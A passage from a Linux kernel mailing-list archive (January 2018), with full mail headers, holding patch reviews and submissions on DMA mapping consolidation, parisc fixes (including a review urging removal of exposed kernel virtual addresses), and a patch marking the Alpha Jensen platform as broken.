        Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id A4979800EF; Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20171229081911.2802-6-hch@lst.de>
X-TM-AS-GCONF: 00
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9855 gmane.linux.kernel.iommu:22007 gmane.linux.ports.mips.general:63184 gmane.linux.ports.ia64:28498 gmane.linux.ports.sh.devel:56217 gmane.linux.ports.sparc:27181 gmane.linux.kernel.cross-arch:41180 gmane.linux.ports.hexagon:1497 gmane.linux.kernel.arc:3283 gmane.linux.kernel.metag:1575 gmane.linux.ports.arm.kernel:624850 gmane.linux.ports.parisc:28173 gmane.linux.kernel:2661960 gmane.linux.ports.alpha:4672 gmane.linux.ports.ppc64.devel:151812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9855>

On Fri, Dec 29, 2017 at 09:18:09AM +0100, Christoph Hellwig wrote:
> The current PCI_DMA_BUS_IS_PHYS decided if a dma implementation is bound
> by the dma mask in the device because it directly maps to a physical
> address range (modulo an offset in the device), or if it is virtualized
> by an iommu and can map any address (that includes virtual iommus like
> swiotlb).  The problem with this scheme is that it is per-architecture and
> not per dma_ops instance, and we are growing more and more setups that
> have multiple different dma operations in use on a single system, for
> which this scheme can't provide a correct answer.  Depending on the
> architecture that means we either get a false positive or false negative
> at the moment.
> 
> This patch instead extents the is_phys flag in struct dma_map_ops that
> is currently only used by a few architectures to be used tree wide.
> 
> Note that this means that we now need a struct device parent in the
> Scsi_Host or netdevice.  Every modern driver has these, but there might
> still be a few outdated legacy drivers out there, which now won't make
> an intelligent decision.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

For the CRIS part:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

> ---
>  arch/cris/arch-v32/drivers/pci/dma.c  |  1 +
>  arch/cris/include/asm/pci.h           |  6 ------

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com

From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture fixes for 4.15-rc7
Date: Tue, 9 Jan 2018 15:03:58 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <CAGXu5jJ=s8NBBpd9fxr37T+HV8SNunq71AgGwu+Cy7WogPH=xA@mail.gmail.com>
References: <20180107162123.GA9715@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1515538929 26279 195.159.176.226 (9 Jan 2018 23:02:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Jan 2018 23:02:09 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
        linux-parisc <linux-parisc@vger.kernel.org>,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        Richard Henderson <rth@twiddle.net>,
        Laura Abbott <labbott@redhat.com>
To: Helge Deller <deller@gmx.de>,
        Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 10 00:02:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eZ2uB-0006TD-9n
	for glk-linux-kernel-3@m.gmane.org; Wed, 10 Jan 2018 00:02:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758585AbeAIXEC (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 9 Jan 2018 18:04:02 -0500
Original-Received: from mail-ua0-f194.google.com ([209.85.217.194]:36837 "EHLO
        mail-ua0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751791AbeAIXEA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Jan 2018 18:04:00 -0500
Original-Received: by mail-ua0-f194.google.com with SMTP id a25so10317464uak.3
        for <linux-kernel@vger.kernel.org>; Tue, 09 Jan 2018 15:03:59 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=0SuwmHwaJh69lms6QO4+O7Iut+TAA/Rr+yrHx7SDQvw=;
        b=YjtzxOW7bcMMPoYzOQXH9KR1OjCs0nJx93UdfpVGijD8m1NZscE6WRfVNX7khnWrcj
         v5lNH2MfIe69Iyzk51Dp1I1JkO1Bj3SL/edp4IGT2bOpGBqljomktDUn4t73jdLi7IpQ
         nl4u+Sq31DZsw2I+Bv2pKdKn2umZJVEJu0t1IMBojXHYsKC+G+KvkC9ytvL6FcLK0o3z
         dX+An9XWq7IlGv/PICdY/JBCi3cGdvZXtOU38rN2CRZwY82E7ajWn8ITRLux1ksA2/YA
         5T3+ddsI+BIocFRagNT65KY33qv+aK9EELF89uqzvTKUt4CWuN5uG/3urxQtKL1N9a+8
         FsmQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=0SuwmHwaJh69lms6QO4+O7Iut+TAA/Rr+yrHx7SDQvw=;
        b=EiW/x6qIgsUI3ml3Q/RvnwRL+qPzNtNQf4KQ2v7WvGSv8KWgEspemiBjz/SbqiWREP
         8e4nM0caoEG+MA8ISZW3xQH5bPN7387oyuUmd5SDH4u2zW3b2oBqiLNpT+FOW5ge+YUp
         EAx5JXcqJvlIPEgvHPcIR4xqx4ykLWb/JEONc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=0SuwmHwaJh69lms6QO4+O7Iut+TAA/Rr+yrHx7SDQvw=;
        b=pnRoZKjWcFP4GbQSKJ/CYCD91rXTzvK+F7X5F3RdBEDh6tLMNp/CEdem7UPApmfFk4
         iZH1ioVBHK+pFXnKDuQKNFZrFK3LzD+iyBzT3O4hNK8y2idJMI/Xu0oxUCLxOxVuc/9Y
         YUVz//Z1nORvcw6L1JuD9YbhRgMpp3+po9BqVAiLr2I99t0eKo/X2ZQ3D3vG0IyDuUk1
         /Q01ROFAMKEP43rrvnOkVJn25ZfDiu2X2dZ1MItlXLZUbzWQ7MaAOOfyZDwoIy29+BVg
         +0nqNwLtaqQk+cRU7YpjHdjily7LSRYiBVcoCbekd4r+vnh0ivpTNGk7vHCLqwxr671r
         6s/g==
X-Gm-Message-State: AKwxytdSXUPGpj8srKLqSDJFLN+azkkz+nQy+awgEi9Q60p1tckhygZU
        B7Hlhx9NsuUJ3/gtLj52KYecXORf8/ouNpr6Yr2fFy/eAEI=
X-Google-Smtp-Source: ACJfBosLsU6Rh2BTwTCfH73bgKMp/6fRkJJZ6u7DlZ7fPweqsd/41C5ZznLqD+twhyv+mXq4UAF1En4/jNLwJYStQn0=
X-Received: by 10.176.112.164 with SMTP id q4mr8053507ual.105.1515539039334;
 Tue, 09 Jan 2018 15:03:59 -0800 (PST)
Original-Received: by 10.31.163.87 with HTTP; Tue, 9 Jan 2018 15:03:58 -0800 (PST)
In-Reply-To: <20180107162123.GA9715@ls3530.fritz.box>
X-Google-Sender-Auth: rFOVZ0oD-1M34kiGK6pi8LVEL4o
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2662401 gmane.linux.ports.parisc:28174
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2662401>

On Sun, Jan 7, 2018 at 8:21 AM, Helge Deller <deller@gmx.de> wrote:
> Hi Linus,
>
> please pull a few fixes for the parisc architecture from:
>
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.15-3
>
> The fixes are:
> - Many small fixes to show the real physical addresses of devices instead of
>   hashed addresses.
>
> - One important fix to unbreak 32-bit SMP support: We forgot to 16-byte align
>   the spinlocks in the assembler code.
>
> - Qemu support: The host will get a chance to sleep when the parisc guest is
>   idle. We use the same mechanism as the power architecture by overlaying the
>   "or %r10,%r10,%r10" instruction which is simply a nop on real hardware.
>
> Thanks,
> Helge
>
> ----------------------------------------------------------------
> Helge Deller (6):
>       parisc: Show unhashed hardware inventory
>       parisc: Show unhashed EISA EEPROM address

These looks like a physical addresses, yes.

>       parisc: Show initial kernel memory layout unhashed
>       parisc: Show unhashed HPA of Dino chip

But these are virtual addresses and should be just removed, not
switched to %px. They're not physical addresses that I can see, e.g.
"dino_dev" is clearly being used as an in-memory structure, and the
kernel layout literally says "virtual kernel memory layout".
Especially the kernel memory layout going to dmesg should be removed.
That kind of thing has been entirely removed from other architectures
(or will be soon[1]). See commit adb1fe9ae2ee ("mm/page_alloc: Remove
kernel address exposure in free_reserved_area()"). (Also note that
hiding behind CONFIG_DEBUG_KERNEL is not sufficient: most distros
build with that config.)

-Kees

[1] https://www.spinics.net/lists/arm-kernel/msg624390.html

>       parisc: Fix alignment of pa_tlb_lock in assembly on 32-bit SMP kernel
>       parisc: qemu idle sleep support
>
>  arch/parisc/include/asm/ldcw.h |  2 ++
>  arch/parisc/kernel/drivers.c   |  2 +-
>  arch/parisc/kernel/entry.S     | 13 +++++++++++--
>  arch/parisc/kernel/pacache.S   |  9 +++++++--
>  arch/parisc/kernel/process.c   | 39 +++++++++++++++++++++++++++++++++++++++
>  arch/parisc/mm/init.c          | 10 +++++-----
>  drivers/parisc/dino.c          | 10 +++++-----
>  drivers/parisc/eisa_eeprom.c   |  2 +-
>  8 files changed, 71 insertions(+), 16 deletions(-)



-- 
Kees Cook
Pixel Security


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: consolidate direct dma mapping V3
Date: Wed, 10 Jan 2018 08:59:54 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571125 25923 195.159.176.226 (10 Jan 2018 07:58:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:58:45 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 Konrad Rzeszutek Wilk <konrad@darnok.org>, linux-snps-arc@lists.infradead.org,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Jan 10 08:58:39 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eZBHO-00068P-NH
	for gla-linux-snps-arc@m.gmane.org; Wed, 10 Jan 2018 08:58:34 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=d70ZdZeCNX0MT08hT66EfhbXm1ilgbPpeQq9GEVnHbw=; b=Gu1
	0+Bcy8u8FPF/aRON9/JpbgmkRovc6bJ26OPvih+a1vrXF1SgdPub4YU6vneduAS+brUoqCliF1yG2
	Gyja/aHI8Y9yAJqZ+bIxgzYzcZpJVi39l7bBHJBBOPR7jzd23BgR8uC2mniWRdZvHq2FE3m1q/0bm
	Cnsi7W9fSPvj7NNsMphxusG24Y9SmWoQQsrUNVpPbZrrth6XfJ+54hfIesft0zNwDinCqSzTYaIL6
	4GdKVpzh2S1PretXP50zmDWuPcGh3gXGYAPuvrZVmvWC7kYPGg32aQfJ/QN13zBb4ZIoMPHKavvFZ
	m3gakAwRVB8CEYId1LLCtqCsEh8sLIw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJN-0003z9-QA; Wed, 10 Jan 2018 08:00:37 +0000
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eZBJH-0003yJ-4R; Wed, 10 Jan 2018 08:00:31 +0000
X-Mailer: git-send-email 2.14.2
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3284 gmane.linux.kernel.iommu:22020 gmane.linux.ports.mips.general:63186 gmane.linux.ports.ia64:28499 gmane.linux.ports.sh.devel:56231 gmane.linux.ports.sparc:27182 gmane.linux.kernel.cross-arch:41244 gmane.linux.ports.hexagon:1500 gmane.linux.kernel.metag:1576 gmane.linux.ports.arm.kernel:624999 gmane.linux.ports.parisc:28175 gmane.linux.kernel:2662706 gmane.linux.ports.alpha:4674 gmane.linux.ports.ppc64.devel:151823
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3284>

Almost every architecture supports a direct dma mapping implementation,
where no iommu is used and the device dma address is a 1:1 mapping to
the physical address or has a simple linear offset.  Currently the
code for this implementation is most duplicated over the architectures,
and the duplicated again in the swiotlb code, and then duplicated again
for special cases like the x86 memory encryption DMA ops.

This series takes the existing very simple dma-noop dma mapping
implementation, enhances it with all the x86 features and quirks, and
creates a common set of architecture hooks for it and the swiotlb code.

It then switches a number of architectures to this generic
direct map implemention.

Note that for now this only handles architectures that do cache coherent
DMA, but a similar consolidation for non-coherent architectures is in the
work for later merge windows.

A git tree is also available:

   git://git.infradead.org/users/hch/misc.git dma-direct.3

Gitweb:

   http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/dma-direct.3

Changes since V1:
 - fixed a few patch description typos
 - fixed a few printk formats
 - fixed an off by one in dma_coherent_ok
 - add a few Reviewed-by/Acked-by tags.
 - moved the swiotlb consolidation to a new series
 - dropped a few patches for now to not overwhelem the x86
   maintainers.  They will be resubmitted in the next merge window

From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 01/33] alpha: mark jensen as broken
Date: Wed, 10 Jan 2018 08:59:55 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20180110080027.13879-2-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571128 26545 195.159.176.226 (10 Jan 2018 07:58:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:58:48 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:58:42 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBHU-0006Xi-Rw
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:58:41 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 41E47E9F;
	Wed, 10 Jan 2018 08:00:40 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 933C8E15
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:38 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 0915916A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:37 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=SNz+heJjLqa7Gmy3j8AZWHZoPZwuLVSLUitp5FTk0JE=;
	b=TtYYG7RKCbgDTVWU9wpfod7rv
	rVrHDj7IWmeS8vU369xo2B0XXf/SiaOOuFU4DouJpCgZWyUrmO+QsOLzfR8cDbhto07kNtH9KyUEO
	1STkX10WpPpjPT0JzcBgIuJ1OJyXSXKW+x7URnkE9g+5F6PIlWDn7qpFuRdYXu5iIiPFZA1gwaOoB
	CBg8Lv6/E3wPBETUHGDD2onX/VU91vqU57aSjABtGra211j2bO3vgtjPZCNSaznv2TgZeFZAqF58e
	ei0aTfeRicaBI8Jywjhjt8PXTPC9BPXXUPOs8SOo1iMNcaRWABeO8NYyNzuieQYF4xWrzVFlCT84H
	kHdb/3tFA==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJJ-0003yV-UN; Wed, 10 Jan 2018 08:00:34 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22021 gmane.linux.ports.mips.general:63187 gmane.linux.ports.ia64:28500 gmane.linux.ports.sh.devel:56232 gmane.linux.ports.sparc:27183 gmane.linux.kernel.cross-arch:41245 gmane.linux.ports.hexagon:1501 gmane.linux.kernel.arc:3285 gmane.linux.kernel.metag:1577 gmane.linux.ports.arm.kernel:625000 gmane.linux.ports.parisc:28176 gmane.linux.kernel:2662707 gmane.linux.ports.alpha:4675 gmane.linux.ports.ppc64.devel:151824
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22021>

CONFIG_ALPHA_JENSEN has failed to compile since commit 6aca0503
("alpha/dma: use common noop dma ops"), so mark it as broken.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/alpha/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index b31b974a03cb..e96adcbcab41 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -209,6 +209,7 @@ config ALPHA_EIGER
 
 config ALPHA_JENSEN
 	bool "Jensen"
+	depends on BROKEN
 	help
 	  DEC PC 150 AXP (aka Jensen): This is a very old Digital system - one
 	  of the first-generation Alpha systems. A number of these systems
-- 
2.14.2


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 02/33] hexagon: remove unused flush_write_buffers definition
Date: Wed, 10 Jan 2018 08:59:56 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180110080027.13879-3-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571135 28197 195.159.176.226 (10 Jan 2018 07:58:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:58:55 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 08:58:49 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZBHZ-0000fu-8w
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 08:58:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965094AbeAJIAr (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 03:00:47 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:55493 "EHLO
